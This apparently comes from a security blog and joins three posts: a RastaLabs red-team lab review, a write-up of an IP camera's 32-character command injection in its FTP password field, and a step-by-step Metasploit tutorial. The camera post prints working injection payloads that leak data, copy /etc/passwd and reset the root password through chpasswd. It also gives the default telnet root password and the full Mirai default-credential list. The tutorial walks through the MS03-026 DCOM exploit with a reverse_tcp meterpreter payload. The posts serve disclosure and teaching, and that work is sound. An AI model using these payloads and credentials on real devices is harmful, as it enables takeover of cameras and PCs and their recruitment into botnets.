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Introduction

It was 20 November, and I was just starting to wonder what I would do during the next month. I had already left my previous job, and the new one would only start in January. Playing with PS4 all month might sound fun for some people, but I knew I would get bored quickly.

Even though I have some limited red teaming experience, I always felt that I wanted to explore the excitement of getting Domain Admin – again. I got my first DA in ˜2010 using pass-the-hash, but that was a loooong time ago, and things change quickly.

While reading the backlogs of one of the many Slack rooms, I noticed that certain chat rooms were praising RastaLabs. Looking at the lab description, I felt "this is it, this is exactly what I need." How hard could it be, I have a whole month ahead of me, surely I will finish it before Christmas. Boy, was I wrong.

The one-time fee of starting the lab is 90 GBP which includes the first month, then every additional month costs 20 GBP. I felt like I was stealing money from Rastamouse and Hackthebox... How can it be so cheap? Sometimes cheap indicates low quality, but not in this case.

My experience

Regarding my previous experience, I already took OSCP, OSCE, SLAE (Securitytube Linux Assembly Expert), and PSP (Powershell for Pentesters), all of which helped me a lot during the lab. I also had some limited red teaming experience. I had more-than-average experience with AV evasion, and I already had experience with the new post-exploit frameworks like Covenant and Powershell Empire. As for writing exploits, I knew how a buffer overflow or a format string attack worked, but I lacked practice in bypassing ASLR and NX. I basically had zero experience with Mimikatz on Windows 10. I used Mimikatz back in 2012, but probably not since. I also had a lot of knowledge on how to do X and Y, on useful tools and hot techniques, but I lacked recent experience with them. Finally, I am usually the last when it comes to speed in hacking, but I have always balanced my lack of speed with perseverance.

RastaLabs starts in 3,2,1 ...

So I paid the initial entry fee, got the VPN connection pack, connected to the lab, and got my first flag after ... 4 days. And there were 17 of them in total. This was the first time I started to worry. I did everything to keep myself on the wrong track, stupid things like assuming incorrect lab network addresses, scanning too few machines, finding the incorrect breadcrumbs via OSINT, trying to exploit a patched web service (as most OSCPers would do), etc. I was also continually struggling with the tools I was using, as I never knew whether they were buggy, or I was misusing them, or this is just not the way to get the flag. I am sure someone with luck and experience could have done this stage in 2-3 hours, but hey, I was there to gain experience.

During the lab, whenever I got stuck with the same problem for more than 30-40 hours and my frustration was running high, I pinged Rastamouse on the official RastaLabs support channel on https://mm.netsecfocus.com/. I usually approached him like "Hi, I tried X, Y, and Z but no luck", then he replied "yeah, try Y harder". This kind of information was usually all I needed, and 2-3 hours later I was back on track again. His help was always enough, but never too much to spoil the fun. The availability and professionalism of Rastamouse was 10/10. Huge multi-billion dollar companies fail to provide good enough support, this one guy here was always there to help. Amazing. I highly recommend joining the Mattermost channel – it will help you a lot to see that you are not the only one stuck with problems. But please do not DM him or the channel if you have not already tried harder.

What's really lovely in the lab is that you can expect real-world scenarios with "RastaLabs employees" working on their computer, reading emails, browsing the web, etc. I believe it is not a spoiler here that at some point in time you have to deliver malware that evades the MS Defender AV on the machine. Yes, there is a real working Defender on the machines, and although it is a bit out of date, it might catch your default payload very quickly. As I previously mentioned, luckily I had recent experience with AV evasion, so this part was not new to me. I highly recommend setting up your own Win10 with the latest Defender updates and testing your payload on it first. If it works there, it will work in the lab. This part can be especially frustrating, because the only feedback you get from the lab is that nothing is happening, and there is no way to debug it. Test your solution locally first.

Powershell Empire turned out to be an excellent solution for me, the only functionality it lacked was Port Forwarding. But you can drop other tools to do this job efficiently.

A little help: even if you manage to deliver your payload and you have a working C&C, it does not mean your task with AV evasion is over. It is highly probable that Defender will block your post-exploit codes. To bypass this, read all the blog posts from Rastamouse about AMSI bypass. This is important.

Lateral movement

When you finally get your first shell back ...

A whole new world starts. From now on, you will spend significant time on password cracking, lateral movement, persistence, and figuring out how Windows AD works.

In the past, I played a lot of CTF, and from time to time I got the feeling "yeah, even though this challenge was fun, it was not realistic". This never happened during RastaLabs. All the challenges and solutions were 100% realistic, and as the "Ars poetica" of RastaLabs states:

...which is sooooo true. None of the tasks involve any exploit of any CVE. You need a different mindset for this lab. You need to think about misconfigurations, crackable passwords, privilege abuse, and similar issues. But I believe this lab is still harder to own than 90% of the organizations out there. The only help is that there are no blue-teamers killing our shells.

About the architecture of the lab: When connecting to the lab with VPN, you basically found yourself in a network you might label as "Internet", with your target network being behind a firewall, just as a proper corporate network should be.

There are a bunch of workstations – Win10 only, and some servers like fileserver, exchange, DC, SQL server, etc. The majority of servers are Windows Server 2016, and there is one Linux server. The two sites are adequately separated and firewalled.

As time passed, I was getting more and more flags, and I started to feel the power. Then the rollercoaster experience started. I was useless, I knew nothing. Getting the flag, I was god. One hour later, I was useless.

For example, I spent a significant amount of time trying to get GUI access to the workstations. In the end, I managed to get that, just to find out I did not achieve anything with it. For unknown reasons, none of the frameworks I tried had a working VNC, so I set up my own, and it was pain.

On December 18, I finally got Domain Admin privileges. So my estimation to "finish the lab" in one month was not that far off. Except that I was far from finishing it, as I still had to find five other flags I was missing. You might ask "you already have DA, how hard could it be to find the remaining five?". Spoiler alert, it was hard. Or to be more precise, not hard, just challenging, and time-consuming. This was also a time when connections on Mattermost RastaLabs channel helped me a lot. Hints like "flag X is on machine Y" helped me keep motivated, yet it did not spoil the fun. Without hints like this, I would not have written this post but would have been stuck with multiple flags.

About exploitation

And there was the infamous challenge, "ROP the night away." This was totally different from the other 16. I believe this image explains it all:

If you are not friends with GDB, well, you will have a hard time. If you don't have lots of hands-on experience with NX bypass - a.k.a ROP - like me, you will have a hard time with this challenge. The binary exploit challenges during OSCP and OSCE exams are nowhere near as complex as this one. If you have OSEE, you will be fine. For this challenge, I used GDB-Peda and Python pwntools – check them out in case you are not familiar with them. For me, solving this challenge took about 40 hours. Experienced CTF people could probably solve it in 4 hours or less.

Conclusion

I would not recommend taking this lab for total beginners *. I also do not recommend doing the lab if you only have limited time per day, which is especially true if you are working on your home computer. I probably would have saved hours or even days if I had set up a dedicated server in the cloud for this lab. The issue was that the lab workstations were rebooted every day, which meant that I always lost my shells. "Persistence FTW", you might say, but if your C&C is down when the workstation reboots, you are screwed. "Scheduled tasks FTW", you might say, but unless you have a strict schedule on when you start your computer, you will end up with a bunch of scheduled tasks just to get back the shell whenever you start your computer. Day after day I spent the first hour getting back to where I had been the day before. And I just figured out at the end of the lab why some of my scheduled tasks were not working ...

I would be really interested to see how much time I spent connected to the lab. Probably it was around 200–250 hours in total, which I believe is more than I spent on OSCP and OSCE combined. But it was totally worth it. I really feel the power now that I learned so many useful things.

But if you consider that the price of the one-month lab is 20 GBP, it is still a very cheap option to practice your skills.

* It is totally OK to do the lab in 6 months, in case you start as a beginner. That is still just 190 GBP for the months of lab access, and you will gain a lot of experience during this time. You will probably have a hard time reaching the point when you have a working shell, but it is OK. You can find every information on Google, you just need time, patience and willingness to get there.

Anyway, it is still an option not to aim to "get all the flags". Even just by getting the first two flags, you will gain significant experience in "getting a foothold". But for me, not getting all the flags was never an option.

If you are still unconvinced, check these other blog posts:

https://jmpesp.me/a-rastalabs-story/

https://www.gerrenmurphy.com/rastalabs-review/

Or see what others wrote about RastaLabs.

Footnote

In case you start the lab, please, pretty please, follow the rules, and do not spoil the fun for others. Do not leave your tools around, do not keep shared drives open, do not leave FLAGs around. Leave the machine as it was. If you have to upload a file, put it in a folder others won't easily find. This is a necessary mindset when it comes to real-world red teaming. Don't forget to drop a party parrot into the chat whenever you or someone else gets a new flag. And don't forget:

OSCP has no power here. Cry harder!

I will probably keep my subscription to the lab and try new things, new post-exploit frameworks. I would like to thank @_rastamouse for this great experience, @superkojiman for the ROP challenge. Hackthebox for hosting the lab with excellent uptime.

As for @gentilkiwi and @harmj0y, these two guys probably advanced red-teaming more than everyone else combined together. pwntools from @gallopsled was also really helpful. And I will be forever grateful to Bradley from finance for his continuous support whenever I lost my shells.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Read more

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

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Sunday, August 30, 2020

The RastaLabs Experience

Introduction

My experience

RastaLabs starts in 3,2,1 ...

Lateral movement

About exploitation

Conclusion

Footnote

Related links

How I Hacked My IP Camera, And Found This Backdoor Account

The obvious problems

The double-blind command injection

My hardening list

My TODO list

Saturday, August 29, 2020

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

STEPS TO FOLLOW

More information

Blog Archive

Followers